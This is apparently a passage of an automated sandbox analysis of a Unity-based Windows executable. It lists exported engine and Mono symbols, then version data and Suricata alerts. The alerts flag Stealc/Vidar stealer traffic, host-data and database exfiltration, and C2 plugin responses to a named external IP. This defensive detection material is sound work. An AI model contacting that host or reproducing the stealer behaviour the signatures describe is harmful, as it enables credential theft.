?kChangeAudioMixerSolo@@3VMessageIdentifier@@A	2862	0x11fc548
?kCollisionEnter2D@@3VMessageIdentifier@@A	2863	0x11fc110
?kCollisionExit2D@@3VMessageIdentifier@@A	2864	0x11fc124
?kCollisionStay2D@@3VMessageIdentifier@@A	2865	0x11fc138
?kConnectedToServer@@3VMessageIdentifier@@A	2866	0x11fc3a4
?kConnectionAttemptFailed@@3VMessageIdentifier@@A	2867	0x11fc3e0
?kControllerColliderHit@@3VMessageIdentifier@@A	2868	0x11fc318
?kDestroyedComponentNotification@@3VMessageIdentifier@@A	2869	0x11fc264
?kDidAddComponent@@3VMessageIdentifier@@A	2870	0x11fc278
?kDidDeleteMesh@@3VMessageIdentifier@@A	2871	0x11fc214
?kDidDeleteMotion@@3VMessageIdentifier@@A	2872	0x11fc4bc
?kDidModifyAnimatorController@@3VMessageIdentifier@@A	2873	0x11fc494
?kDidModifyAudioMixer@@3VMessageIdentifier@@A	2874	0x11fc50c
?kDidModifyAvatar@@3VMessageIdentifier@@A	2875	0x11fc4e4
?kDidModifyBounds@@3VMessageIdentifier@@A	2876	0x11fc228
?kDidModifyMesh@@3VMessageIdentifier@@A	2877	0x11fc23c
?kDidModifyMotion@@3VMessageIdentifier@@A	2878	0x11fc4a8
?kDidModifyValidity@@3VMessageIdentifier@@A	2879	0x11fc200
?kDidRemoveComponent@@3VMessageIdentifier@@A	2880	0x11fc28c
?kDidVelocityChange@@3VMessageIdentifier@@A	2881	0x11fc4d0
?kDisconnectedFromMasterServer@@3VMessageIdentifier@@A	2882	0x11fc408
?kDisconnectedFromServer@@3VMessageIdentifier@@A	2883	0x11fc3cc
?kEnterContact@@3VMessageIdentifier@@A	2884	0x11fc0d4
?kEnterTrigger@@3VMessageIdentifier@@A	2885	0x11fc098
?kExitContact@@3VMessageIdentifier@@A	2886	0x11fc0e8
?kExitTrigger@@3VMessageIdentifier@@A	2887	0x11fc0ac
?kForceRecreateCollider@@3VMessageIdentifier@@A	2888	0x11fc368
?kJointBreak@@3VMessageIdentifier@@A	2889	0x11fc188
?kLayerChanged@@3VMessageIdentifier@@A	2890	0x11fc250
?kMasterServerConnectionAttemptFailed@@3VMessageIdentifier@@A	2891	0x11fc3f4
?kMasterServerEvent@@3VMessageIdentifier@@A	2892	0x11fc41c
?kMemAI@@3UkMemAIStruct@@A	2893	0x1254268
?kMemAnimation@@3UkMemAnimationStruct@@A	2894	0x12541a8
?kMemAssetDatabase@@3UkMemAssetDatabaseStruct@@A	2895	0x12542b0
?kMemAssetImporter@@3UkMemAssetImporterStruct@@A	2896	0x12542bc
?kMemAssetServerCache@@3UkMemAssetServerCacheStruct@@A	2897	0x125426c
?kMemAudio@@3UkMemAudioStruct@@A	2898	0x12541ac
?kMemAudioData@@3UkMemAudioDataStruct@@A	2899	0x12541b0
?kMemAudioProcessing@@3UkMemAudioProcessingStruct@@A	2900	0x12541b4
?kMemAudioTemp@@3UkMemAudioTempStruct@@A	2901	0x12541b8
?kMemBaseObject@@3UkMemBaseObjectStruct@@A	2902	0x125420c
?kMemBatchedGeometry@@3UkMemBatchedGeometryStruct@@A	2903	0x125418c
?kMemCADImporter@@3UkMemCADImporterStruct@@A	2904	0x12542d0
?kMemCloudService@@3UkMemCloudServiceStruct@@A	2905	0x1254294
?kMemClusterInput@@3UkMemClusterInputStruct@@A	2906	0x125428c
?kMemClusterRenderer@@3UkMemClusterRendererStruct@@A	2907	0x1254288
?kMemCulling@@3UkMemCullingStruct@@A	2908	0x1254234
?kMemCurl@@3UkMemCurlStruct@@A	2909	0x1254260
?kMemDefault@@3UkMemDefaultStruct@@A	2910	0x1254160
?kMemDynamicArray@@3UkMemDynamicArrayStruct@@A	2911	0x1254254
?kMemDynamicGeometry@@3UkMemDynamicGeometryStruct@@A	2912	0x125417c
?kMemEditorGi@@3UkMemEditorGiStruct@@A	2913	0x12542c4
?kMemEditorGui@@3UkMemEditorGuiStruct@@A	2914	0x125429c
?kMemEditorUtility@@3UkMemEditorUtilityStruct@@A	2915	0x12542a0
?kMemFBXImporter@@3UkMemFBXImporterStruct@@A	2916	0x12542c0
?kMemFMOD@@3UkMemFMODStruct@@A	2917	0x12541bc
?kMemFMODExtraDSP@@3UkMemFMODExtraDSPStruct@@A	2918	0x12541c8
?kMemFMODSample@@3UkMemFMODSampleStruct@@A	2919	0x12541c4
?kMemFMODStream@@3UkMemFMODStreamStruct@@A	2920	0x12541c0
?kMemFile@@3UkMemFileStruct@@A	2921	0x125421c
?kMemFont@@3UkMemFontStruct@@A	2922	0x12541cc
?kMemGI@@3UkMemGIStruct@@A	2923	0x1254280
?kMemGIS@@3UkMemGISStruct@@A	2924	0x125430c
?kMemGLib@@3UkMemGLibStruct@@A	2925	0x12541f8
?kMemGLibImage@@3UkMemGLibImageStruct@@A	2926	0x12541fc
?kMemGPUMemory@@3UkMemGPUMemoryStruct@@A	2927	0x1254290
?kMemGarbageCollector@@3UkMemGarbageCollectorStruct@@A	2928	0x12541f4
?kMemGeometry@@3UkMemGeometryStruct@@A	2929	0x1254188
?kMemGfxDevice@@3UkMemGfxDeviceStruct@@A	2930	0x12541a0
?kMemGfxThread@@3UkMemGfxThreadStruct@@A	2931	0x12541a4
?kMemIO2@@3UkMemIO2Struct@@A	2932	0x12541e4
?kMemIO@@3UkMemIOStruct@@A	2933	0x12541e0
?kMemImmediateGeometry@@3UkMemImmediateGeometryStruct@@A	2934	0x1254184
?kMemInput@@3UkMemInputStruct@@A	2935	0x12541dc
?kMemInvalidAlloc@@3UkMemInvalidAllocStruct@@A	2936	0x1254310
?kMemJobScheduler@@3UkMemJobSchedulerStruct@@A	2937	0x12541ec
?kMemLicense@@3UkMemLicenseStruct@@A	2938	0x12542cc
?kMemMallocFree@@3UkMemMallocFreeStruct@@A	2939	0x125416c
?kMemManager@@3UkMemManagerStruct@@A	2940	0x1254178
?kMemMemoryProfiler@@3UkMemMemoryProfilerStruct@@A	2941	0x125422c
?kMemMemoryProfilerString@@3UkMemMemoryProfilerStringStruct@@A	2942	0x1254230
?kMemMono@@3UkMemMonoStruct@@A	2943	0x1254200
?kMemMonoCode@@3UkMemMonoCodeStruct@@A	2944	0x1254204
?kMemNetwork@@3UkMemNetworkStruct@@A	2945	0x1254220
?kMemNewDelete@@3UkMemNewDeleteStruct@@A	2946	0x1254168
?kMemPS3DelayedRelease@@3UkMemPS3DelayedReleaseStruct@@A	2947	0x12542f4
?kMemPS3RSXBuffers@@3UkMemPS3RSXBuffersStruct@@A	2948	0x12542f0
?kMemPS3RingBuffers@@3UkMemPS3RingBuffersStruct@@A	2949	0x12542ec
?kMemPS3VideoMemory@@3UkMemPS3VideoMemoryStruct@@A	2950	0x12542e8
?kMemPS4ShaderUcode@@3UkMemPS4ShaderUcodeStruct@@A	2951	0x1254300
?kMemPSP2GXMBuffers@@3UkMemPSP2GXMBuffersStruct@@A	2952	0x12542f8
?kMemPSP2GXMVertexData@@3UkMemPSP2GXMVertexDataStruct@@A	2953	0x12542fc
?kMemPVS@@3UkMemPVSStruct@@A	2954	0x1254174
?kMemParticles@@3UkMemParticlesStruct@@A	2955	0x1254190
?kMemPermanent@@3UkMemPermanentStruct@@A	2956	0x1254164
?kMemPhysics2D@@3UkMemPhysics2DStruct@@A	2957	0x12541d4
?kMemPhysics@@3UkMemPhysicsStruct@@A	2958	0x12541d0
?kMemPoolAlloc@@3UkMemPoolAllocStruct@@A	2959	0x1254264
?kMemPreviewImage@@3UkMemPreviewImageStruct@@A	2960	0x12542b8
?kMemProfiler@@3UkMemProfilerStruct@@A	2961	0x1254228
?kMemRenderer@@3UkMemRendererStruct@@A	2962	0x1254214
?kMemResource@@3UkMemResourceStruct@@A	2963	0x1254210
?kMemSTL@@3UkMemSTLStruct@@A	2964	0x1254248
?kMemScriptManager@@3UkMemScriptManagerStruct@@A	2965	0x1254274
?kMemScriptingNativeRuntime@@3UkMemScriptingNativeRuntimeStruct@@A	2966	0x1254208
?kMemSerialization@@3UkMemSerializationStruct@@A	2967	0x12541d8
?kMemShader@@3UkMemShaderStruct@@A	2968	0x1254198
?kMemShadow@@3UkMemShadowStruct@@A	2969	0x1254244
?kMemSketchUp@@3UkMemSketchUpStruct@@A	2970	0x1254314
?kMemSkinning@@3UkMemSkinningStruct@@A	2971	0x1254238
?kMemSprites@@3UkMemSpritesStruct@@A	2972	0x125427c
?kMemStaticString@@3UkMemStaticStringStruct@@A	2973	0x1254250
?kMemStreamingManager@@3UkMemStreamingManagerStruct@@A	2974	0x12542b4
?kMemString@@3UkMemStringStruct@@A	2975	0x125424c
?kMemSubstance@@3UkMemSubstanceStruct@@A	2976	0x1254278
?kMemTempAlloc@@3UkMemTempAllocStruct@@A	2977	0x12542d8
?kMemTempJobAlloc@@3UkMemTempJobAllocStruct@@A	2978	0x12542e0
?kMemTempOverflow@@3UkMemTempOverflowStruct@@A	2979	0x12542e4
?kMemTerrain@@3UkMemTerrainStruct@@A	2980	0x125423c
?kMemTerrainPhysics@@3UkMemTerrainPhysicsStruct@@A	2981	0x1254240
?kMemTextAsset@@3UkMemTextAssetStruct@@A	2982	0x12541f0
?kMemTexture@@3UkMemTextureStruct@@A	2983	0x1254194
?kMemTextureCache@@3UkMemTextureCacheStruct@@A	2984	0x125419c
?kMemThread@@3UkMemThreadStruct@@A	2985	0x1254170
?kMemThreadStack@@3UkMemThreadStackStruct@@A	2986	0x12541e8
?kMemTransform@@3UkMemTransformStruct@@A	2987	0x1254218
?kMemTypeTree@@3UkMemTypeTreeStruct@@A	2988	0x1254270
?kMemUTF16String@@3UkMemUTF16StringStruct@@A	2989	0x1254258
?kMemUndo@@3UkMemUndoStruct@@A	2990	0x12542ac
?kMemUndoBuffer@@3UkMemUndoBufferStruct@@A	2991	0x12542a8
?kMemUnet@@3UkMemUnetStruct@@A	2992	0x1254284
?kMemUnityConnect@@3UkMemUnityConnectStruct@@A	2993	0x12542d4
?kMemUtility@@3UkMemUtilityStruct@@A	2994	0x125425c
?kMemVR@@3UkMemVRStruct@@A	2995	0x1254298
?kMemVersionControl@@3UkMemVersionControlStruct@@A	2996	0x12542a4
?kMemVertexData@@3UkMemVertexDataStruct@@A	2997	0x1254180
?kMemWebCam@@3UkMemWebCamStruct@@A	2998	0x1254224
?kMemWebViewCallback@@3UkMemWebViewCallbackStruct@@A	2999	0x12542dc
?kMemWinRTTLS@@3UkMemWinRTTLSStruct@@A	3000	0x1254304
?kMemXboxOneGpuMemory@@3UkMemXboxOneGpuMemoryStruct@@A	3001	0x1254308
?kMemYaml@@3UkMemYamlStruct@@A	3002	0x12542c8
?kMovieEvent@@3VMessageIdentifier@@A	3003	0x11fc598
?kOnRectTransformDimensionsChange@@3VMessageIdentifier@@A	3004	0x11fc584
?kOnRectTransformRemoved@@3VMessageIdentifier@@A	3005	0x11fc4f8
?kOnWillRenderObject@@3VMessageIdentifier@@A	3006	0x11fc2c8
?kParticleCollisionEvent@@3VMessageIdentifier@@A	3007	0x11fc1ec
?kPlayerConnected@@3VMessageIdentifier@@A	3008	0x11fc390
?kPlayerDisconnected@@3VMessageIdentifier@@A	3009	0x11fc3b8
?kPlayerFocus@@3VMessageIdentifier@@A	3010	0x11fc458
?kPlayerPause@@3VMessageIdentifier@@A	3011	0x11fc444
?kPlayerQuit@@3VMessageIdentifier@@A	3012	0x11fc46c
?kPostRender@@3VMessageIdentifier@@A	3013	0x11fc2f0
?kPreCull@@3VMessageIdentifier@@A	3014	0x11fc2dc
?kPreRender@@3VMessageIdentifier@@A	3015	0x11fc304
?kSceneWasLoaded@@3VMessageIdentifier@@A	3016	0x11fc430
?kServerInitialized@@3VMessageIdentifier@@A	3017	0x11fc37c
?kStayContact@@3VMessageIdentifier@@A	3018	0x11fc0fc
?kStayTrigger@@3VMessageIdentifier@@A	3019	0x11fc0c0
?kTerrainChanged@@3VMessageIdentifier@@A	3020	0x11fc480
?kTransformChanged@@3VMessageIdentifier@@A	3021	0x11fc19c
?kTransformChildrenChanged@@3VMessageIdentifier@@A	3022	0x11fc1d8
?kTransformParentChanged@@3VMessageIdentifier@@A	3023	0x11fc1c4
?kTriggerEnter2D@@3VMessageIdentifier@@A	3024	0x11fc14c
?kTriggerExit2D@@3VMessageIdentifier@@A	3025	0x11fc160
?kTriggerStay2D@@3VMessageIdentifier@@A	3026	0x11fc174
?m_IsMonoBehaviourInConstructor@MonoManager@@0V?$ThreadSpecificValue@_N@@A	3027	0x1253928
?mainThreadId@Thread@@2KA	3028	0x12550b0
?malloc_internal@@YAPAXIIUMemLabelId@@HPBDH@Z	3029	0x402a90
?mono_array_length_safe_wrapper@@YAHPAUMonoArray@@@Z	3030	0x541360
?ms_IDToPointer@Object@@0PAUInstanceIdToObjectPtrHashMap@@A	3031	0x1250f7c
?ms_IsDerivedFromBitMap@Object@@0PAIA	3032	0x1250f80
?ms_MaxClassID@Object@@0IA	3033	0x1250f84
?one@Vector2f@@2V1@B	3034	0x1217984
?one@Vector3f@@2V1@B	3035	0x121799c
?realloc_internal@@YAPAXPAXIHUMemLabelId@@HPBDH@Z	3036	0x402b80
?s_AllCachedMaterials@Material@Unity@@0PAV?$List@V?$ListNode@VMaterial@Unity@@@@@@A	3037	0x1255064
?s_DefaultDiffuseMaterial@Material@Unity@@0PAV12@A	3038	0x125505c
?s_DefaultMaterial@Material@Unity@@0PAV12@A	3039	0x1255060
?s_GameObjectDestroyedCallback@GameObject@Unity@@0P6AXPAV12@@ZA	3040	0x1250fe0
?s_MemoryPools@MemoryPool@@0PAV?$vector@PAVMemoryPool@@V?$stl_allocator@PAVMemoryPool@@$0EB@$0BA@@@@std@@A	3041	0x1255944
?s_MessageHandler@GameObject@Unity@@0PAVMessageHandler@@A	3042	0x1250fec
?s_PoolAllocator@MeshIntermediateRenderer@@2PAVMemoryPool@@A	3043	0x1251e90
?s_PoolAllocator@MeshIntermediateRendererWithDistanceSortingOrder@@2PAVMemoryPool@@A	3044	0x1251e94
?s_PoolAllocator@SpriteIntermediateRenderer@@2PAVMemoryPool@@A	3045	0x1251e98
?s_PoolSize@MeshIntermediateRenderer@@2HA	3046	0x11fc8dc
?s_PoolSize@MeshIntermediateRendererWithDistanceSortingOrder@@2HA	3047	0x11fc8e0
?s_PoolSize@SpriteIntermediateRenderer@@2HA	3048	0x11fc8e4
?s_ScreenReadAllowed@Texture2D@@1_NA	3049	0x1217918
?s_SetGONameCallback@GameObject@Unity@@0P6AXPAV12@@ZA	3050	0x1250fe4
?s_TextureIDMap@Texture@@1PAV?$map@UTextureID@@PAVTexture@@U?$less@UTextureID@@@std@@V?$allocator@U?$pair@$$CBUTextureID@@PAVTexture@@@std@@@4@@std@@A	3051	0x12539c0
?s_ZeroHash@MaterialPropertyBlock@@0IB	3052	0x1255068
?scripting_cpp_string_for@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@PAUMonoString@@@Z	3053	0x554380
?scripting_gchandle_free@@YAXH@Z	3054	0x554050
?scripting_gchandle_get_target@@YAPAUMonoObject@@H@Z	3055	0x554060
?scripting_gchandle_new@@YAHPAUMonoObject@@@Z	3056	0x554010
?scripting_gchandle_weak_new@@YAHPAUMonoObject@@@Z	3057	0x554030
?xAxis@Vector2f@@2V1@B	3058	0x121798c
?xAxis@Vector3f@@2V1@B	3059	0x12179a8
?yAxis@Vector2f@@2V1@B	3060	0x1217994
?yAxis@Vector3f@@2V1@B	3061	0x12179b4
?zAxis@Vector3f@@2V1@B	3062	0x12179c0
?zero@Matrix3x3f@@2V1@B	3063	0x1253e78
?zero@Vector2f@@2V1@B	3064	0x1254048
?zero@Vector3f@@2V1@B	3065	0x125405c
AmdPowerXpressRequestHighPerformance	3066	0x1218284
NvOptimusEnablement	3067	0x1218280
RegisterModule_AI	3068	0x7be080
RegisterModule_Animation	3069	0x8269c0
RegisterModule_Audio	3070	0x816ff0
RegisterModule_NScreen	3071	0x926820
RegisterModule_ParticleSystem	3072	0x6edce0
RegisterModule_ParticlesLegacy	3073	0x727100
RegisterModule_Physics	3074	0x768bc0
RegisterModule_Physics2D	3075	0x784330
RegisterModule_Terrain	3076	0x8c87a0
RegisterModule_TerrainPhysics	3077	0x926500
RegisterModule_TextRendering	3078	0x8d91a0
RegisterModule_UI	3079	0x9247e0
RegisterModule_UNET	3080	0x92ebe0
RegisterModule_Umbra	3081	0x6ccd90
RegisterModule_VR	3082	0x935ca0
g_free	3083	0x125185c
mono_add_internal_call	3084	0x1251548
mono_array_addr_with_size	3085	0x12515d8
mono_array_class_get	3086	0x1251674
mono_array_element_size	3087	0x12517cc
mono_array_new	3088	0x125166c
mono_array_new_full	3089	0x1251670
mono_assembly_close	3090	0x12517ac
mono_assembly_fill_assembly_name	3091	0x12516f0
mono_assembly_foreach	3092	0x12515b0
mono_assembly_get_image	3093	0x12515f8
mono_assembly_get_object	3094	0x1251740
mono_assembly_load_from	3095	0x12516ec
mono_assembly_load_from_full	3096	0x12517a4
mono_assembly_loaded	3097	0x12516fc
mono_assembly_name_parse	3098	0x12516f8
mono_assembly_open	3099	0x1251788
mono_class_array_element_size	3100	0x1251678
mono_class_enum_basetype	3101	0x1251790
mono_class_from_mono_type	3102	0x12517b8
mono_class_from_name	3103	0x1251564
mono_class_from_name_case	3104	0x1251568
mono_class_get	3105	0x1251704
mono_class_get_byref_type	3106	0x1251720
mono_class_get_element_class	3107	0x12517c0
mono_class_get_field_from_name	3108	0x12517e4
mono_class_get_fields	3109	0x1251590
mono_class_get_flags	3110	0x12517e8
mono_class_get_image	3111	0x1251710
mono_class_get_interfaces	3112	0x12517a8
mono_class_get_method_from_name	3113	0x12517b4
mono_class_get_methods	3114	0x1251594
mono_class_get_name	3115	0x125162c
mono_class_get_namespace	3116	0x1251624
mono_class_get_nesting_type	3117	0x12516b4
mono_class_get_parent	3118	0x1251620
mono_class_get_properties	3119	0x1251760
mono_class_get_property_from_name	3120	0x12517b0
mono_class_get_rank	3121	0x12517bc
mono_class_get_type	3122	0x12516cc
mono_class_get_type_token	3123	0x125179c
mono_class_get_userdata	3124	0x125159c
mono_class_get_userdata_offset	3125	0x1251598
mono_class_instance_size	3126	0x1251794
mono_class_is_enum	3127	0x125178c
mono_class_is_generic	3128	0x1251680
mono_class_is_inflated	3129	0x1251684
mono_class_is_subclass_of	3130	0x1251628
mono_class_is_valuetype	3131	0x1251608
mono_class_set_userdata	3132	0x12515a0
mono_class_vtable	3133	0x12516b8
mono_config_parse	3134	0x12517f4
mono_custom_attrs_construct	3135	0x1251808
mono_custom_attrs_free	3136	0x1251824
mono_custom_attrs_from_assembly	3137	0x125181c
mono_custom_attrs_from_class	3138	0x1251818
mono_custom_attrs_from_field	3139	0x1251810
mono_custom_attrs_from_method	3140	0x1251814
mono_custom_attrs_get_attr	3141	0x1251804
mono_custom_attrs_has_attr	3142	0x125180c
mono_debug_free_source_location	3143	0x125175c
mono_debug_init	3144	0x12516d4
mono_debug_lookup_source_location	3145	0x1251758
mono_debug_open_image_from_memory	3146	0x12516dc
mono_dl_fallback_register	3147	0x1251830
mono_dl_fallback_unregister	3148	0x1251834
mono_domain_assembly_open	3149	0x125156c
mono_domain_create_appdomain	3150	0x1251570
mono_domain_finalize	3151	0x1251534
mono_domain_get	3152	0x12515a4
mono_domain_get_id	3153	0x12515ac
mono_domain_set	3154	0x12517d0
mono_domain_unload	3155	0x1251574
mono_exception_from_name_msg	3156	0x1251638
mono_field_get_flags	3157	0x12516e0
mono_field_get_name	3158	0x12515e0
mono_field_get_offset	3159	0x125158c
mono_field_get_parent	3160	0x12515e4
mono_field_get_type	3161	0x12515e8
mono_field_get_value	3162	0x1251588
mono_field_set_value	3163	0x1251584
mono_field_static_get_value	3164	0x1251724
mono_gc_collect	3165	0x1251770
mono_gc_get_heap_size	3166	0x125177c
mono_gc_get_used_size	3167	0x1251778
mono_gc_max_generation	3168	0x1251774
mono_gc_wbarrier_generic_store	3169	0x1251780
mono_gchandle_free	3170	0x1251744
mono_gchandle_get_target	3171	0x1251734
mono_gchandle_is_in_domain	3172	0x125173c
mono_gchandle_new	3173	0x1251730
mono_gchandle_new_weakref	3174	0x1251738
mono_get_array_class	3175	0x1251644
mono_get_boolean_class	3176	0x125164c
mono_get_byte_class	3177	0x1251650
mono_get_char_class	3178	0x1251654
mono_get_corlib	3179	0x12517e0
mono_get_double_class	3180	0x1251668
mono_get_enum_class	3181	0x125171c
mono_get_exception_class	3182	0x1251640
mono_get_int16_class	3183	0x1251658
mono_get_int32_class	3184	0x125165c
mono_get_int64_class	3185	0x1251660
mono_get_object_class	3186	0x12515c0
mono_get_root_domain	3187	0x12515a8
mono_get_single_class	3188	0x1251664
mono_get_string_class	3189	0x1251648
mono_image_close	3190	0x12515b4
mono_image_get_assembly	3191	0x1251784
mono_image_get_filename	3192	0x12517a0
mono_image_get_name	3193	0x12515bc
mono_image_get_table_rows	3194	0x1251700
mono_image_open_from_data_full	3195	0x12516e4
mono_image_open_from_data_with_name	3196	0x12516e8
mono_is_debugger_attached	3197	0x12516d8
mono_jit_cleanup	3198	0x125154c
mono_jit_exec	3199	0x1251558
mono_jit_info_get_code_size	3200	0x1251560
mono_jit_info_get_code_start	3201	0x125155c
mono_jit_info_table_find	3202	0x1251754
mono_jit_init	3203	0x1251550
mono_jit_init_version	3204	0x1251554
mono_jit_parse_options	3205	0x12517fc
mono_loader_error_prepare_exception	3206	0x125182c
mono_loader_get_last_error	3207	0x1251828
mono_metadata_signature_equal	3208	0x1251708
mono_method_full_name	3209	0x12515f4
mono_method_get_class	3210	0x12515fc
mono_method_get_last_managed	3211	0x1251718
mono_method_get_name	3212	0x12515f0
mono_method_get_object	3213	0x12516bc
mono_method_signature	3214	0x12516c0
mono_object_get_class	3215	0x1251600
mono_object_get_size	3216	0x1251798
mono_object_get_virtual_method	3217	0x125153c
mono_object_isinst	3218	0x1251604
mono_object_new	3219	0x1251578
mono_object_new_alloc_specific	3220	0x1251768
mono_object_new_specific	3221	0x125176c
mono_object_unbox	3222	0x1251800
mono_parse_default_optimizations	3223	0x12517ec
mono_pmip	3224	0x125174c
mono_property_get_get_method	3225	0x1251764
mono_raise_exception	3226	0x125163c
mono_reflection_get_custom_attrs_by_type	3227	0x1251820
mono_runtime_cleanup	3228	0x1251538
mono_runtime_delegate_invoke	3229	0x1251750
mono_runtime_exec_main	3230	0x12517dc
mono_runtime_invoke	3231	0x1251580
mono_runtime_invoke_array	3232	0x12515d4
mono_runtime_is_shutting_down	3233	0x1251530
mono_runtime_object_init	3234	0x125157c
mono_runtime_set_shutting_down	3235	0x125152c
mono_runtime_unhandled_exception_policy_set	3236	0x12516b0
mono_security_enable_core_clr	3237	0x12516a8
mono_security_set_core_clr_platform_callback	3238	0x12516ac
mono_security_set_mode	3239	0x1251544
mono_set_assemblies_path	3240	0x125172c
mono_set_commandline_arguments	3241	0x12515d0
mono_set_defaults	3242	0x12517f0
mono_set_dirs	3243	0x12517f8
mono_set_find_plugin_callback	3244	0x12516a4
mono_set_ignore_version_and_key_when_finding_assemblies_already_loaded	3245	0x12516d0
mono_set_signal_chaining	3246	0x12515c4
mono_signature_get_param_count	3247	0x125160c
mono_signature_get_params	3248	0x12516c4
mono_signature_get_return_type	3249	0x12516c8
mono_signature_is_instance	3250	0x1251714
mono_stack_walk	3251	0x1251748
mono_string_from_utf16	3252	0x125161c
mono_string_new_len	3253	0x1251618
mono_string_new_wrapper	3254	0x1251614
mono_string_to_utf16	3255	0x12515dc
mono_string_to_utf8	3256	0x1251610
mono_stringify_assembly_name	3257	0x12516f4
mono_thread_attach	3258	0x1251690
mono_thread_current	3259	0x125169c
mono_thread_detach	3260	0x1251694
mono_thread_exit	3261	0x1251698
mono_thread_pool_cleanup	3262	0x1251524
mono_thread_pop_appdomain_ref	3263	0x12517d8
mono_thread_push_appdomain_ref	3264	0x12517d4
mono_thread_set_main	3265	0x12516a0
mono_thread_suspend_all_other_threads	3266	0x1251520
mono_threads_set_shutting_down	3267	0x1251528
mono_trace_set_level_string	3268	0x1251860
mono_trace_set_mask_string	3269	0x1251864
mono_type_get_class	3270	0x1251634
mono_type_get_name	3271	0x1251630
mono_type_get_object	3272	0x125167c
mono_type_get_type	3273	0x12515ec
mono_unity_class_is_abstract	3274	0x12517c8
mono_unity_class_is_interface	3275	0x12517c4
mono_unity_liveness_allocate_struct	3276	0x1251838
mono_unity_liveness_calculation_begin	3277	0x125184c
mono_unity_liveness_calculation_end	3278	0x1251850
mono_unity_liveness_calculation_from_root	3279	0x1251854
mono_unity_liveness_calculation_from_statics	3280	0x1251858
mono_unity_liveness_finalize	3281	0x1251840
mono_unity_liveness_free_struct	3282	0x1251848
mono_unity_liveness_start_gc_world	3283	0x1251844
mono_unity_liveness_stop_gc_world	3284	0x125183c
mono_unity_seh_handler	3285	0x12515c8
mono_unity_set_embeddinghostname	3286	0x1251728
mono_unity_set_unhandled_exception_handler	3287	0x12515cc
mono_unity_socket_security_enabled_set	3288	0x12515b8
mono_value_box	3289	0x125170c
mono_verifier_set_mode	3290	0x1251540
printf_console	3291	0x662560
unity_mono_method_is_generic	3292	0x1251688
unity_mono_method_is_inflated	3293	0x125168c

Version Infos

Description	Data
FileVersion	5.1.5.10347813
ProductVersion	5.1.5.10347813
Unity Version	5.1.5f1_9de525f1a6a8
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-26T01:48:54.196998+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.5	49745	94.130.190.206	443	TCP
2025-02-26T01:48:55.510249+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.5	61238	94.130.190.206	443	TCP
2025-02-26T01:48:56.833348+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	94.130.190.206	443	192.168.2.5	61249	TCP
2025-02-26T01:48:58.193399+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	94.130.190.206	443	192.168.2.5	61260	TCP
2025-02-26T01:48:59.584853+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61270	94.130.190.206	443	TCP
2025-02-26T01:49:00.673310+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61277	94.130.190.206	443	TCP
2025-02-26T01:49:08.849401+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61328	94.130.190.206	443	TCP
2025-02-26T01:49:09.155988+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61341	94.130.190.206	443	TCP
2025-02-26T01:49:09.155988+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61341	94.130.190.206	443	TCP
2025-02-26T01:49:10.223837+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61346	94.130.190.206	443	TCP
2025-02-26T01:49:10.223837+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61346	94.130.190.206	443	TCP
2025-02-26T01:49:11.165111+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61353	94.130.190.206	443	TCP
2025-02-26T01:49:11.165111+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61353	94.130.190.206	443	TCP
2025-02-26T01:49:12.926654+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61359	94.130.190.206	443	TCP
2025-02-26T01:49:19.062964+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61404	94.130.190.206	443	TCP
2025-02-26T01:49:19.944368+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61428	94.130.190.206	443	TCP
2025-02-26T01:49:19.944368+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61428	94.130.190.206	443	TCP
2025-02-26T01:49:20.960977+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61449	94.130.190.206	443	TCP
2025-02-26T01:49:20.960977+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61449	94.130.190.206	443	TCP
2025-02-26T01:49:22.067695+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61465	94.130.190.206	443	TCP
2025-02-26T01:49:22.067695+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61465	94.130.190.206	443	TCP
2025-02-26T01:49:23.321517+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61505	94.130.190.206	443	TCP
2025-02-26T01:49:23.321517+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61505	94.130.190.206	443	TCP
2025-02-26T01:49:24.657787+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61525	94.130.190.206	443	TCP
